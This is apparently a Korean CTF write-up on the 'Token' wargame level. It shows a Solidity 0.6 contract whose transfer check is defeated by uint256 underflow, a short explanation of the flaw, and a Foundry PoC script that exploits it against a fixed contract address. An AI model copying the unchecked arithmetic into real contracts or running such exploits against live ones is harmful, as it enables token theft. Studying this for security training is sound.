solidity ^0.8.0 보다 이전 버전은 numeric error에 대한 검증을 안하는 것을 이용하는 문제
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;
constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
로직 정리
애초에 require(balances[msg.sender] - _value >= 0); 이거 검사하는거를 잘 보면
balance[msg.sender]의 자료형은 uint256인데
여기에서 빼기를 잘못해서 음수가 나오면 항상 언더플로우 떠서 엄청 큰 값이 되어버린다.
사실상 의미가 없는 검사
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
import {Script, console} from "forge-std/Script.sol";
import {Token} from "../src/Token.sol";
contract PoC is Script {
address public target = 0x7F266e70aC13f430501A00968ffC020b6c316Fa6;
uint256 pk = vm.envUint("PRIV_KEY");
function run() public {
vm.startBroadcast(pk);
Token(payable(target)).transfer(target, 10101010101);
vm.stopBroadcast();
}
}